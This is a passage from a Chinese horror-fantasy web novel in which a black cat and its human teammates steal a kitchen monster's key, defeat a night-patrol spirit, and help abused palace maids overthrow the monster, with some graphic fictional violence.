小咪全身的毛炸开,在他下蹲的瞬间,往上一跃,跳到了御膳房敞开的窗户中。一位宫女看见它,连忙将空的篮子往灶台一放,倒扣在了猫的身上。 那一瞬,太官的大脸挤满了窗,问:“你们有没有看见一只小畜生?” 宫女们身体颤抖,纷纷摇头。 太官尖尖的鼻子在空气中嗅了两下,“我闻到了,让我再闻闻……”他的脸越来越近,眼看就要贴在竹篮上。 突然,它猛地低下头,对着自己的脚边。 一颗透明的宝珠滚到他的脚下。 宝珠中心有一撇雪白,宛若封了一片白羽进入琉璃中。 “这是什么?!”太官欣喜地捡起宝珠,小心擦去上面的尘土,看珠子玲珑剔透,晶莹无暇,笑脸笑得越发灿烂,“这是什么!” 小咪在心里想:这是跳棋。 夏炫拿了盘跳棋过来,跳棋子是透明的玻璃珠子,中间有不同颜色。在他想玩的时候,猫偷偷藏几颗,含在嘴巴里,让他怎么都摆不满棋盘。 猫喜欢这样含着跳棋,看人在地上找来找去。 锦瑟朝公公行礼,恭敬地说:“禀公公,这是一位进宫的猫画师送给我的。” 太官围着她打量一圈,“猫画师?难怪你沾了这一身猫毛,身上全是畜生的味道。”它摆摆手,和颜悦色地说:“你就到旁边,把自己身上毛弄干净吧。” 但那颗珠子被它小心地放在一个匣子里,塞在心口,没有再打算还回来的意思。 等太官回到自己房间,灶台上的篮子嗒嗒跑到窗口,稍倾,篮子底下费劲钻出个猫猫头。 “喵呜——”它想要蹭蹭那位救自己的宫女。 宫女手抬了抬,很想摸猫的样子,纠结片刻,反而跳开一大步,摆了摆手,指着它在灶台上留下的一撮毛。 她们没有护身的金钱宝贝,若是被太官揪到错处,就要被塞进炉里当柴火烧了。 小咪的尾巴垂了下来,轻轻咪一声,跳出窗,悄无声息来到太官的窗外。等了一会,它听见房间内响起了鼾声。 小咪往门缝下望去。 太官坐在桌前,桌上放着好酒好菜,那个葫芦随意搭在了椅子上。它喝得微醺,眯起眼在打盹,呼噜一声接一声。 小咪悄悄将门推开一点。 门缝只动了一下,太官另外一张脸猛地扭过脸,如电目光射来。 小咪趴在屋外静等,没过多久,那张恶面也开始打盹,笑面却醒来了。 它开始摸清楚太官的活动规律,每过一炷香,它都会出来监督宫女,之后回到房间喝酒,每当一张脸打盹时,另外一张脸会变得清醒。 它得想个办法。 小咪跑到锦瑟面前,“喵——”它从嘴里吐出一颗跳棋。 一颗两颗三颗。 很快,被小猫藏在影子里的玩具全摆在了地上。 彩色玻璃纸小鸟闪烁耀眼光芒、透明跳棋犹如无暇的宝珠、水晶发卡镶嵌五光十色的塑料珠…… 小咪把自己的珍藏一口气全吐出来,有点心疼,想了想,又把彩色塑料纸小鸟收了起来。它很喜欢这只小鸟,鸟翅膀上沾满了猫的口水。 锦瑟:“咪咪,你想让我用这些吸引走太官大人的注意?” “喵!” 锦瑟抱起那堆宝贝,“只有我一个人不行,得让姐妹们帮帮忙。” “咪呜——” 小咪重新趴在了门口,偷藏在倒扣的箩筐底下。 没多久,到了时间,太官走了出来。 刚走出,它就被地上一颗滚动的珠子吸引了注意力。 珠子从锦瑟的袖子里掉了出来,在地上滚了一道,她跟在后面追,看见太官后,跪下行礼。 太官笑嘻嘻地捡起那颗跳棋,塞到自己的宝贝匣里,“猫画师给了你多少珠子呀?” 锦瑟连忙摇头,“画师出手慷慨,不止有我,其他姐妹都受过它的恩惠。” 太官抬头一看,恰好看见另外一名宫女立在阳光下,头上一枚水晶花熠熠生辉。它看得眼睛都直了,“宝贝、宝贝……这么多宝贝!” 太官跑到了御膳房,两张脸都被宝贝摄住心神,小咪连忙跑进它的房间。 影子干活更加方便。她从地上爬起来,用手打开葫芦嘴,把酒倒满提前准备的水囊,将水囊系在小猫的背上。 为免太官发现异常,葫芦里还留了些酒液。 小咪背着水囊,翻过窗户,重新跑出房间,在门外藏着观望。 太官手里捧着一袋“宝贝”,笑眯眯回到了房间,将宝贝在桌上铺开。 “无暇宝珠、水晶琉璃花、极品东珠,”它东摸摸这个,西摸摸那个,两张脸都露出笑意,“猫画师出手真是慷慨,好想与它结交一番啊。” “咦,这儿怎么有一根毛?” 太官小心地用手指捻起猫毛,放在眼睛边,生怕一口气就把它吹走了。 “有畜生进了房子?”恶脸凶狠地问。 笑面摇头,“不对不对,这是猫画师打赏的宝贝上沾的毛,”它将毛放在鼻尖,陶醉地闻了闻,“这是宝贝的味道,是钱的味道!我要把它的毛供起来,这哪是画师,分明是一个财神爷啊。” 恶面:“要是猫画师来偷我们的酒就好了。我们就能剥了它的皮,吃的它的肉……” “再将它的宝贝全据为己有!” 两张脸都激动地笑了起来。 小咪蹲了一会,确认它没发现自己,不会找宫女们的麻烦,才和锦瑟告别,悄悄离开这里,翻过几堵高墙,跑回丹青苑中。 “喵呜。”小咪跳到人的怀里,趴在他膝盖上,前爪在人有弹性的大腿上按来按去,“呼噜呼噜……” 萧向秦摸摸它的脑袋,取下了酒囊,打开嗅一下,一股沁人心脾的酒气盈满房间。 “好香。”夏炫凑到跟前用力嗅一大口,顿觉头晕眼花,差点一头栽在地上。 小咪也想嗅一大口,被萧向秦用手拦住了。 “小猫不要喝酒。” “喵呜——”小咪委委屈屈地叫。 猫的宝贝全没了。 第67章 夜晚。 陈商音拿着油灯,心事重重地回到房间。萧向秦给他们油灯里多倒了一些油,恰够他们点灯熬过今夜,于是,小猫画师的房中油便不够了。 他总觉得隔壁房间的人要做一件大事,而此事又非自己所能插手,才想方设法把他们支开。 若事成一切都好说,若事败了……他看着浅浅一层油脂,暗暗叹了口气。 萧向秦在地上洒了几滴百年醉。 整间屋子都盈满了馥郁的酒香。 小咪跑到角落,歪头看着地砖那片湿润的酒液,好奇地爪爪碰了下。酒液打湿爪子上蓬松的毛,小咪伸出舌头,舔了一口。 顿时头晕眼花,天旋地转。 “咪咪,你在干什么?”夏炫问。 小咪“喵”一声, 心虚地往外走,四只腿好像不是自己了的一样, 各走各的。 夏炫:“……” 他看着小猫迈出六亲不认的步伐歪歪扭扭地走,先是以为小猫在搞抽象艺术,然后以为它中了毒,冲过去想看看猫的情况,在小猫的爪子上,闻见股浓烈的酒味。 “小猫不能偷喝酒!” “喵呜……”小咪一头栽倒在地上, 抱住自己的尾巴, 呼呼大睡。 两个人把它放进被窝里, 继续开始准备。 时间很快就到了夜晚。 微弱的灯火在桌上跳动,烛火快要燃尽,一线暗红虚弱地燃烧着,一口气就能吹灭。 夏炫侧身睡在被窝里,紧贴着的是小猫软绒绒的滚热身体。小猫的脑袋枕在他的手臂上,小小的身体有规律地起伏,带着酒气的呼吸在洒在他的手背。 也许是醉酒,他觉得小猫身体好像变得更热更软了,像个毛茸茸的玩偶,他捏住小猫的爪子,稍微用力,粉红的肉垫就像开了花一样,梅花瓣往外绽开。 “喵。” 迷迷糊糊的小猫歪头往他手上蹭了蹭,下巴搁在他的手背,让这只作乱的手不要乱动。 夏炫嘴角微翘,连马上要做什么都忘了。他晕乎乎地说:“队长,我好像也醉了。” 萧向秦双手垫在脑后,看他一眼,冷哼一声。 夏炫难得见队长有这么明显的情绪变化,脸上嘻嘻哈哈的,叹口气,佯装烦恼地说:“我手都麻了。” 萧向秦:“我手不麻。” “不要!队长你可是咱的主要战力,要留着对付夜游神的,抱猫这种辛苦活,还是交给我这个奴才吧。” 萧向秦干脆闭目养神,眼不见心不烦。 半夜。 窗外响起窸窸窣窣的声音。 夜游神的身体钻入了孔洞里。 身体擦过地砖响起的细碎声音中,突然多了另外一重声音:“好香啊。” 床榻上的两人睁开眼睛。 夜游神忘记自己的指责,没注意到这点,背对着他们,大脸在墙角一块青砖前摩擦,“好香啊,这是百年醉的味道,好酒好酒!” 它伸出紫红的大舌头,吸溜舔着地上残留的酒液,闭上眼睛,满脸陶醉。 萧向秦拔出枪,对准那条舌头。 “砰!” 夜游神猛然睁开眼,恶狠狠地盯着他们,嘴唇血流如注,一颗成人手臂长的獠牙在地上跳动。 它想把牙齿捡起塞回去,但萧向秦抬手又是一枪,拦住它的动作。 钢铁之柱射出密集的雨点,枪口吐出一连串火花。 夜游神流血的嘴里吐出模糊的恶语,手里挥舞着大斧头。 斧头落地,床板被劈作两截。 夏炫抱着猫跑到地上,小咪被响动惊醒,迷迷糊糊睁开眼睛,“喵呜?” 小咪瞪大眼睛,从夏炫怀里跳了出去,夏炫本来抱住它的,可小猫身体像液体一样柔软,灵活地在他双臂间扭几下,后爪在他胸口一蹬,就熟练地从人身上跳走。 小咪仰起头,看着似座小山一样魁伟的夜游神,夜游神手舞斧头,似道漆黑的旋风,在房间里掀起惊涛骇浪,屋里的床板桌椅都被绞成了齑粉。 “护住油灯!”萧向秦喊。 但晚了一秒,大风猛然一吹,屋子灯火霎时熄灭,黑暗挤满了房间。 夜游神消失不见了。 小咪眨了眨眼睛,光线变暗后,猫的漆黑瞳孔放大,变得圆溜溜的,将屋内情况看得很清楚。夜游神像是一滴水没入墨水里,身形变得极其虚幻,猫用力看,也只能看见一个很淡的影子。 它看见黑暗中的影子朝着萧向秦飘去。 “喵喵喵——” 小咪拖长声音示警。 萧向秦身体往旁一滚,下一秒,他身后的墙壁被斧头劈成两半。他反手射出子弹,在钢铁之柱喷出的火花中,依稀见夜游神的身影灵活地一扭,便消失在黑暗中。 在暗处,它就像尾滑不溜秋的鱼儿,很难被抓到。 小咪:“喵喵喵!” 它大声叫着示警,耳朵竖起,机敏地盯着四面八方的动静,突然,它感觉一股阴寒的气息胶着在自己身上。 小咪马上起跳,飞一般蹿到柜子上,可尾巴尖还是被削去一截,露出光秃秃的、粉红色的肉。 它又大又飘逸,引起为傲的漂亮尾巴,被削成这样,粉色的肉让小咪想起耗子后面拖着的那条长长的恶心的尾巴。 小咪气得发抖,“老吴老吴”地叫,全身毛炸开,像个漆黑的炮弹,直直朝着那道虚幻的影子飞去。 “喵呜喵呜!” 它跳到虚影上,又蹬又咬,割毛之仇,不共戴天。 一只手从敞开的窗口伸进来,递进一盏亮着的油灯。 光明所照之处,夜游神顿时显形,小咪趁机跳到他鼻子上,狠狠一口,把他的鼻尖咬掉一块肉。 陈商音听见凄厉的猫叫,执灯站在窗口,愣愣问:“这是怎么回事?你们的灯灭了?” 他倾斜油灯,点亮了那盏熄灭的灯火,再抬眼,一张狰狞的青色面孔挤出窗口,双目如灯,怒瞪着他。 “快跑!”里面的人喊。 陈商音扭头就跑,发怒的夜游神甩动钩子,铁钩刺去,勾住男人的后背,把他像条鱼一样甩了起来。 陈商音大叫一声,掉在地上,一抬头,斧头已经当空劈落。 “琤”地一声,他听见有剑出鞘的声音,一道雪亮的长剑挡住了巨斧。 同院那位年轻孤僻的画师横剑拦住夜游神。 小咪:“喵呜?” 萧向秦:“把他带进屋里来。” 那画师应了声,翻窗跳进屋,她手里也拿着盏油灯,三盏灯照得夜游神无处藏匿。 小咪跳到它的肩膀,一口咬掉他的耳垂,“喵呜——” 猫骂骂咧咧边在他的脖子上磨爪子。 这就是欺负猫的下场! 夜游神怒吼一声,丢掉一个钩子,伸手来抓它。小咪灵活地从它的指缝间跳出,一口咬破它的指头,优雅地跳在地上。 青紫色的巨大手掌紧随其后,非要把它给拍成肉饼。 突然之间,有条冷冷的光线飞过,插在了它的手背,把它钉在了地上。 夜游神庞大的身体不由自主地颤抖了起来,挣扎着想逃开,手背的凤钗却重逾千斤,把它压得不能动弹。 它跪了下来,脑袋使劲磕着地板,不多时,这位外表威风凛凛夜叉模样的夜游神消失不见,取而代之的,是个脸色煞白、有个酒槽鼻的壮汉。 他磕得满头是血,含糊不清地哭泣:“娘娘,娘娘,我错了,小的错了。” “小的不该骗娘娘去青炉宫,不该跟陛下说您是太岁妖,小的不该卖主求荣、恩将仇报。” “小的不该就为了一口仙丹,看着娘娘被方士剥了皮,挖了肉,丢进炉里炼丹。” “娘娘、娘娘……” 萧向秦抬起枪,塞入它的嘴里,按动扳机。夜游神的头像个灯笼一样冒出红光,嘴里的舌头和牙齿都被血冲到地上,嘴里只能发出模糊的音节。 他拿出个铜壶,壶盖掀开,里面伸出条苍白的手臂,一把抓住夜游神的身体,把他拉进了壶里。 他关上炉盖,看向突然出现的画师,“猎人?” 画师点头,“孙菱。” “喵呜?”小咪跳到她面前,歪头看着她。 孙菱叹了口气,王平给了她一个能改变样子,降低存在感的污染物,她本来打算不出手,静静等着第六天王邵远出现,结果听见那一声凄厉的猫叫,等反应过来时,白虹贯日已经出鞘了。 夏炫瞪大眼睛,“孙菱?这么快你就被猎人组织挖走了啊,怎么不来我们小队呢?” 孙菱冷漠地说:“太穷了,猎人酬金很高。” 夏炫:“那你现在很有钱喽?” 孙菱:…… 她抿了下嘴角,转过身,摸着舔尾巴的小猫。 她怎么就拦不住这想撸猫的手啊! 小咪歪头蹭着让她的虎口,小心坐在自己的尾巴上,不让人看见自己的秃尾巴尖。 “你进美人图,想要什么东西?”萧向秦开口:“我们可以合作,一起通过这个鬼域。” 孙菱张了张口,想起王平的嘱咐,又猛地闭上,想了一会,她才闷闷说:“反正我没想害你们。” 她憋了好几天看着猫却不能吸,今晚总算能如愿,抱着小咪狠狠一通吸,从它的头顶摸到尾巴根,摸得小咪情不自禁把尾巴高高翘起。 “咦,咪咪的尾巴……” 小咪连忙把尾巴垂下来,夹在后腿之间,“喵呜。” 没看见!你们都没看见! 陈商音惊魂未定地从地上爬了起来,他那位独臂的忠仆段伯单手提着条锃亮的枣木棍子,守在他的旁边。 他们都听见夜游神跪在凤钗前的忏悔之语了,不禁心头骇然:“知道这么一桩宫闱秘事,明王必然不会放我们出宫。” “猫大人!”陈商音双手握住猫的前爪,仿佛信徒虔诚地握住教父的手,“请救救我们。” “喵——”小咪胡须颤动,抽出了爪子。 把夜游神装进铜壶中后,他们便不必点灯,能在暗处行走。萧向秦提着灯,大步越过了房门。 “喵?”小咪跑几步跟上他,跳到他的肩膀上。 “队长,你这是去哪?” 萧向秦:“御膳房。” “喵!”小咪越过宫墙,趴在墙上回头看他们,示意让人跟在自己身后。猫来引路。 可是当一行人躲开守卫,在小猫的引路下,来到了御膳房前。 萧向秦往上一跳,双手撑住墙,灵巧地跳到墙头。他打量一圈院内情况,万籁俱寂,寂静里飘来闷雷般的喊声。他往御膳房内跳去,下一瞬,人又回到了坊外。 夏炫助跑几步,跳上墙头,往里面一跳,同样出现了在坊外。 他们试了试,都没有办法进入御膳房中。 小咪却能够翻入御膳房里。 它白日被锦瑟带进来一次,获得能进入的资格,至于这几个人类,却没有这种资格。 于是这件事又只能交给小咪去做了。 小咪仰起头,“喵呜。” 萧向秦蹲下来,把铜壶拿出来,“这个拿进去,打开壶盖,夜游神就会出来。” “喵!” “要是能偷到太官的钥匙最好,偷不到就设法把它引出来,引不出来就算了。”他抚摸着小猫的脑袋,“自己的安全最重要。” “喵呜——” 小咪用虎牙叼着铜壶,后腿一蹬地,前爪扒上了墙头,猫在墙头走了走,选了个合适的位置跳下。 太官两个脑袋都在呼呼大睡,鼾声配合着,一高一低。 小咪悄悄从窗户跳了进去,先跑到桌前,用爪爪推了推桌子那葫芦酒。酒液又被太官重新装满了,香气从壶嘴里溢了出来,让小咪不争气地舔了舔鼻头。 它叼着的铜壶也在微微颤动,被关在其中的夜游神闻见酒香,变得躁动不安。 小咪打量着太官。 项链正缠在它两颗脖子中间,要偷下来看着没什么难度。小咪本来想直接跑过去,想了一下,用爪爪拍了拍酒壶,将能力覆盖在其上。 酒葫芦长出两只眼睛,大肚皮,一只手弯着,搭在腰间,像个大肚的将军。 葫芦将军朝小咪严肃地点点头。 小咪叼着污染物,跑到了太官的床头,爪子刚碰到钥匙,钥匙就响起一阵尖锐的鸣叫,惊醒了睡梦中的太官。 两张面孔猛然睁开眼睛,怒吼:“哪个小贼敢动我的钥匙?” 小咪跳到一旁,放出夜游神。 太官恶狠狠地看着夜游神,骂道:“你不在宫中巡逻,赶来我这干什么?” 夜游神嘴中流血,咿咿呀呀,说不出话。 太官那张恶脸正要发怒,笑面却转了转眼珠子,“不对,这事不对。” 不等它问什么,小咪又用能力,让桌上那葫芦掉下来。葫芦将军满脸肃穆,往地上一撞,把自己砸了个稀烂,喷香的酒液流满一地。 “呜呜呜……”好酒! 夜游神双目发光,扑向了地上的酒,用没有舌头的嘴狂吸酒液。 “你敢偷我的酒!”太官拿起鞭子,狠狠地甩在它身上,“果然是贪杯误事的东西!辜负陛下的信任!” 就在两个怪物打成一团时,小咪抬起爪爪,悄悄用能力把钥匙运到了身边。它看着钥匙变出的眼睛嘴巴,想了想,把一块布堵住钥匙嘴,用爪子再碰了下。 这次钥匙不再发出声音。 小咪叼起钥匙,趁乱跑出了房间。 ———— “喵喵喵——” 小咪跳到大宫女的手掌心,用身体压住尾巴尖,不愿露出被削掉的毛。 但大宫女还是注意到了,把猫放在面前,用那双比猫还大的眼珠子盯着它。 “喵呜~” 小咪委屈地低下头。 “我们拿到了太官的钥匙。”萧向秦拿出被布包裹严实的钥匙,给两位宫女看,“也用太官除去了夜游神。” “嘻嘻。”宫女咧开嘴,发出阴森森的笑声,“这个恶狗,总算死了。” “嘻嘻。” 笑声似阴风打着旋刮过宫殿,血红的帷幕被刮得呼地一下像蝴蝶一样飞了起来。 倏尔,两个宫女收敛了笑意,静静盯着屏风。屏风后,响起令人头皮发麻的声音。 娘娘似乎拿出一把篾子,动作优雅,反复地梳着自己的头,几次后,宫女捧出一盆肉。 肉质莹白如雪,在黑暗中散发淡淡的光芒。 “这是娘娘送你们的。” “这是?” “太岁肉。” 看着那盘雪白的太岁肉,两个人忍不住心头狂跳,一股压抑不住冲动涌入脑中。 宫女道:“太岁肉是神仙肉,吃了就能得到成仙。” 另外一个宫女说:“可宫里容不得这么多神仙。” “他们都想当神仙,没有人不想当神仙。” “那就让神仙吃了神仙,神仙吃了神仙!” 两个怪物阴森森地笑了起来,刺耳的魔音贯入人耳中,他们用力抵挡着太岁肉的诱惑,被刺耳的笑声弄得叫苦不叠。夏炫很想和这两个姑奶奶喊一声:“姐妹,我们是站你们这边的啊?哪有把队友往死里整的?” 但他一抬头,见两个头顶着屋顶可怖的鬼脸,只好把声音连着喉咙里那口血咽回去。他又不是他们家咪咪,能被怪物捧在手心,他只是个卑微的人类,哪有什么话语权? 又一阵阴风穿堂而过,让小咪忍不住打了个喷嚏。 小猫的喷嚏比什么都有用,两个厉鬼顿时闭上了嘴巴。 夏炫松口气,把太岁肉包好,藏在了包裹中。 赶在公公催促前,他们走出了长寿宫。时间来到下午,小咪被公公领着,回丹青苑路上,听见了一阵哭声。 哭声幽怨,穿透宫墙,飘入猫的耳朵里。 “喵!”小咪直起身体,凑到萧向秦耳朵旁叫了声。 萧向秦:“我也听见了,是锦瑟。” “喵。”小咪看前方公公不注意,翻过了宫墙。 萧向秦也想过去,但这么大一个人翻墙会引起公公的注意,于是他拍拍夏炫的肩膀,“你去吸引会公公的注意。” 夏炫:“饶了我吧!!!” 萧向秦往上一跃,双手一撑,翻过宫墙,弄出的动静让公公回头看。夏炫心里暗骂这个不管队友死活的队长,强撑起一抹笑,和公公打了个招呼。 …… 小咪跑到了桃花树下,看着哭得打嗝的小宫女陷入为难。 “喵呜——”小咪用力蹭她的膝盖。 小宫女抱住腿,哭得双肩颤抖,两只眼睛都肿了。 “咪咪。”她抱住小猫,眼泪似雨点往它的毛上滴。 每一滴泪落下,小咪的肌肉忍不住抖动一下,它忍住回头把水舔干净的冲动,乖乖让人抱着自己。 “喵呜?” 人,发生什么事了? 锦瑟呜咽着说:“太官大人、太官大人说我们偷走了他的钥匙,要把我们全杀了,丢到炉里当柴火。” “喵呜!”小咪气得呜呜叫,舔走她的眼泪。 “你们为什么不杀了它呢?” 锦瑟猛地抬起头。 萧向秦蹲了下来,看着她红肿的眼睛,“既然已经被逼到绝路,为什么不团结起来,想方设法一起杀了它呢?” “喵喵喵!”小咪在旁边叫。 猫也可以帮忙! 第68章 “不行的。”锦瑟像吓坏的小雀一样颤抖,连忙摇头,“不行的,太官大人很厉害,它会把我们丢进灶台里。” “喵呜——”小咪挨着她发抖的身体,张嘴打了个哈欠,把下巴搁在女孩的手臂上。 人不要害怕, 猫在这里呢。 萧向秦道:“它有什么厉害的地方?” “太官大人有二十条手臂,两双眼睛,四个耳朵,他什么都能看见,什么都能听见,他手上的鞭子浸了油的,一鞭子就能把人打得皮开肉绽。”锦瑟一点点数落着太官的可怕之处,面如死灰, “昨天晚上,夜游神贪杯,来到太官大人房间喝酒,被撕成了碎片。” “喵喵喵——”小咪跳起来,对着虚空挠一爪子,然后看了锦瑟一眼。 萧向秦帮它翻译,“所谓夜游神,不过是个为了口酒卖主求荣的酒鬼,也没什么大不了的,小猫一爪子就能把它戳倒。” “喵!”小咪坐得笔直, 脑袋高高扬起,很骄傲地应了声。 它觉得人类稍微夸大了一点猫的功绩,不过也无所谓啦!猫才不会谦虚呢! 萧向秦又说:“太官也服用过明王的仙丹,才变得这样厉害?夜游神也吃了仙丹,怎么会轻易被它撕碎?” 锦瑟点了下头,“太官大人还有陛下御赐的官印,佩戴官印,它就是御膳坊唯一的主宰,在坊内,谁也奈何不了它。” 萧向秦:“若将它骗出坊呢?” 锦瑟:“太官大人一向谨慎,不会轻易离开。” 小咪:“喵——” 它吐出自己心爱的塑料小鸟。彩色的塑料纸在阳光底下折射出五彩的光芒,古代人没见过这东西,惊讶地说:“宝贝!” 锦瑟想到什么,“太官大人很喜欢宝贝,它的二十只手中有十九只是向着我们讨要金钱首饰,若是我们手中还有钱,便能从它手底下买命,若是已被它刮得一分不剩,便只能扔进炉灶里。” “但是,”女孩话锋一转,“它还是不会为了宝贝走出御膳坊。太官大人聪明又谨慎。” 萧向秦:“如果晚上我们对它动手,你们愿意帮忙吗?” 锦瑟连忙摇头,劝道:“狸奴大人,公子,你们莫要冲动!”她擦了擦眼泪,“奴婢们命本来卑贱如草,被当柴火烧也是命该如此,是奴婢先冒犯了咪……狸奴大人。” 她憋着一泡泪,盈盈地看着小猫,客气地说:“千万不要为了奴婢这些不值钱的命犯险。狸奴大人,”女孩从袖子里拿出个鸡腿,送到小咪的面前,“以后就不能给你偷鸡腿了,好在宫里耗子多,狸奴大人不会饿到肚子的。” “喵呜。”小咪莫名觉得几分难过,尾巴也垂了下来。 锦瑟朝它勉强笑了下,注意到它的尾巴,惊讶道:“狸奴大人的尾巴怎么了?” 小咪连忙坐好,重新把自己的尾巴压住。 锦瑟从怀里拿出一个毛绒小球,用针线灵活地缝好尺寸,系在小咪的尾巴上,为它遮住了光秃秃的尾巴尖。 “喵?”小咪翘起尾巴,回头看着自己尾巴尖的雪白毛球,惊讶地瞪圆眼睛。 “好漂亮!”锦瑟夸赞,“我瞧其他大人都有一身琳琅首饰,奴婢手粗,狸奴大人别嫌弃奴婢的手艺。” 她朝小猫欠身一拜,匆匆地离开了。 小咪对新饰品很满意,追着自己的尾巴转圈,雪白毛球晃来晃去。 “这不是自己带了个逗猫棒嘛。”夏炫抓起它的尾巴,在猫的脸上轻拂,小咪抬起爪子,往上一跳,拍在尾巴上,拍了几下,又开始追着尾巴转圈。 夏炫笑着说:“得,以后咪咪可以自己逗自己玩了。” 孙菱坐在窗台上,手托着下巴,专注地看着小猫玩尾巴,嘴角微微翘起,“我也要给我们罚罪尾巴捆个小球。” 她一出口,把夏炫吓了一跳,在玩球的小咪也被吓得身体像踩到弹簧一样跳起来,尾巴毛炸开,齐齐看向她。 “你怎么在这啊?”夏炫拍了拍胸口,“神出鬼没的。” 孙菱:“我一直在这里。” 只是王平把他的能力分享给她一部分,她愿称其为【路人甲光环】。只要不出声,就会被人忽视。 这个能力配合她的白虹贯日,最适合潜伏暗杀。这些天,她就是靠着光环偷走了灯盏,提前拿取被夜游神剥下的材料,本来可以安全度过到最后一天。可惜,她就是管不住自己这想撸猫的手! 小咪跳到了孙菱的膝盖上,蹭蹭她的手心,趴卧着,大尾巴甩来甩去,左摆右摆。 “你要和我们一起去御膳房吗?”夏炫问。 孙菱摇头,“太官是御膳房的boss ,我师父告诉过我,这种boss在自己的鬼域里,基本不可能杀死。你们拿到了钥匙,为什么还要去那边?” “因为今晚太官一定会守在酒窖旁,等我们出现。我们杀不死它,可鬼域里其他npc可以杀死它。” 孙菱想了想,抿着嘴角,半晌才说:“那群宫女?她们害怕太官,不会有勇气反抗的。” “不试试怎么知道?”夏炫收拾好行囊,“要一起吗?” 孙菱张了张嘴,“好”字在唇齿间缠绕,又慢慢被她咽了回去。 夏炫笑着说:“我就知道你不会来,猎人没有钱怎么会行动?” “喵!”小咪跑下来,在夏炫的包裹里一拱,叼出一颗玻璃跳棋,它把跳棋放在孙菱的手上,抬头看着她,“喵呜——” 猫雇佣你! 孙菱看看手里沾着小猫口水的玻璃珠,嘟囔:“好歹我也是赏金猎人,哪有一颗跳棋就收买的猎人。” “喵呜。”小咪睁着圆圆的眼睛,期待地看着她,肉垫扒拉着人的手。像是在说,人,你收下了猫的东西,就是答应了猫,对不对?对不对? 孙菱长叹一口气,把小猫给的玻璃珠子放在口袋,抱起它,狠狠地在它肚子上吸几口。 ———— 月上柳梢。 御膳房中,太官没有睡,迈着沉重的步伐在院内走来走去。 宫女们跪在了地上,后背被鞭子鞭挞,流出的血潺潺在地上淌过,汇成了小溪。整座御膳房头顶弥漫着团腥甜的血云。 “小贼偷了钥匙,今晚一定会来偷美酒,我们只要守在这里。”笑面强扯着嘴角,“一定能将他们拿下。” 恶面怒吼:“剥了他们的皮,拆了他们的骨,吃了他们的肉!” “只要拿回钥匙,陛下也不会知道,没有人会知道。” “只要把知情的人都杀了,就无人知晓我们失职了!” “可是杀了她们,千色同春宴上便缺了人手。陛下依旧会怪罪。” “不如把她们的舌头都割下来。”太官猛地停住脚步,两张脸一起看着缩成团的宫女们,嘻嘻笑起来,“反正长条舌头也没什么用,留着她们的手脚就好了。” 他走向宫女,拽住一个女孩的头颅,像杀鸡一样把她拎起来,一手抓着她的长发,让女孩仰面对着自己。 女孩刚开口求饶,一把刀就钻进她的嘴腔,粗暴地往左右一旋。她的嘴腔、舌头,都被锋利的刀锋绞碎,血流如注,冲着碎肉和牙齿一颗颗掉了出来。 太官把她往地上一丢,女孩伏倒在地,身体一动不动。 “真麻烦。”太官把刀丢过去,“你们自己把自己的舌头割下来!” 御膳房愁云惨淡,哭声连成一片,宫女们在太官的逼迫下,颤抖着拿起刀,一个接一个割掉自己的舌头。 太官冷冷地看着她们,余光中瞥见一点闪光。它把脸扭过去,四只眼睛同时张大,露出热切而贪婪的光芒。 一只羽翼透明的彩色小鸟停在了墙头。 “宝贝,宝贝!”太官马上跑过去,伸手去抓小鸟。 它本以为那是琉璃雕成的鸟雀,可靠近时,小鸟却歪了下头,灵动地看他一眼,展开翅膀飞了起来。 居然是活的五彩琉璃鸟! 太官四目发绿,跳起来抓小鸟,不过五彩琉璃鸟很灵活,每次在它手指快触碰到鸟儿羽翼时,鸟儿便会振动翅膀,猛然拔高一些。几次后,太官受不住诱惑,爬到了墙头上,半边身体挂在墙边,屁股撅起,几十条手臂一起挥舞,终于抓到了鸟儿。 “我抓到了,哈哈哈!”它大笑着,突然觉得身后一沉,差点失去平衡从墙头栽了下去。身后那张恶面瞪大双目,看见一只小黑猫踩在了自己胸口,在它身上跳来跳去。 小咪上跳下跳,努力蹦迪,四只梅花肉垫一齐用力,想把它给踩下去。 哒哒哒哒。 哒哒哒哒。 爪爪在太官身上踩来踩去,小咪翘起尾巴,蹦蹦跳跳。 “是你这畜生偷了我的钥匙,是不是?!” “喵!”小咪抬爪,在它脸上划出一道血痕。 “咪咪。”锦瑟惊呼一声,跑到了墙边,抬头看着他们。 太官小半截身体探出了墙,但大部分身体依旧是御膳坊里。它的大手撑住墙头,撑起身体,马上就要跳回院中。 这时,它突然顿住了,不可置信地看着身下。 锦瑟拿着那把刀,一刀砍在它的腿上。 太官怒吼一声,挥舞着鞭子,打在少女孱弱的肩膀上。院中其他宫女似鸟雀飞了过来,手里拿着竹竿炒勺火钳,拿起平素做饭的工具,把锦瑟围在中心,一起使劲砸在太官的身上。 在宫女们齐心协力下,太官庞硕的身体被戳出无数血窟窿,栽倒在御膳坊外。 “你们是要翻天吗?”它爬起来,朝着里面骂:“我要把你们丢进灶里当柴火!我要把你们全烧了!” 但御膳坊大门口,已经站着两个人。其中一个对它举起了枪,黑洞洞的枪口对准它的脑袋;另一人拔剑,雪亮的剑光如白虹贯日,刺亮夜空。 小咪趴在墙头,看了眼外面的激战,觉得它的人不落下风后,就跳到了宫女们身边。 “喵呜~”它在锦瑟的鞋背磨磨爪子,坐着,仰头看着她们。 宫女们不用再担心身上沾染猫毛被太官惩罚了,抱住小猫咪,摸摸它的头,又揉揉它的肉垫,还有宫女结下发带,在小咪的尾巴上系了个蝴蝶结。 小咪用能力拍拍她们的脸颊,为她们止住血,治好嘴里的伤。 “喵呜——” 小咪回头,看着打开的门。 萧向秦迈入门中,手里拿着一个染血的官印,另外一只手拖着太官的身体。 失去官印后,太官身体急遽变小,虚弱紧缩着,几十只手像老鼠爪子一样勾起。 萧向秦把它丢在地上,让宫女们处置。 锦瑟先试着拿锅铲砸一下太官的头,发现它并不像以前那样凶狠后,眼睛亮了起来,其他宫女们对它发泄着心中怒气,把太官打成一滩哀嚎的烂泥,最后决定把它塞进炉灶里,当柴火烧。 “可是御膳坊没有太官大人了,”锦瑟问:“该怎么办呢?” 小咪叼着那枚官印,放在她的脚边,“喵。” “咪咪的意思是,”萧向秦翻译着猫语,“拿了官印,你也是太官。” “我怎么能做太官呢?我没有两幅面孔,没有鞭子,没有那么多手臂。” “那些都不重要。”萧向秦把官印捡起,递给她,“重要的是,不要忘记你曾经是锦瑟,也不要忘记身为锦瑟的初心。” 锦瑟接过了官印,若有所思地点点头,突然想到什么,在地上拿出一个沾满血的盒子。 小咪“喵呜”了声,瞳孔兴奋地放大。它认出来了,这是太官的藏宝匣。 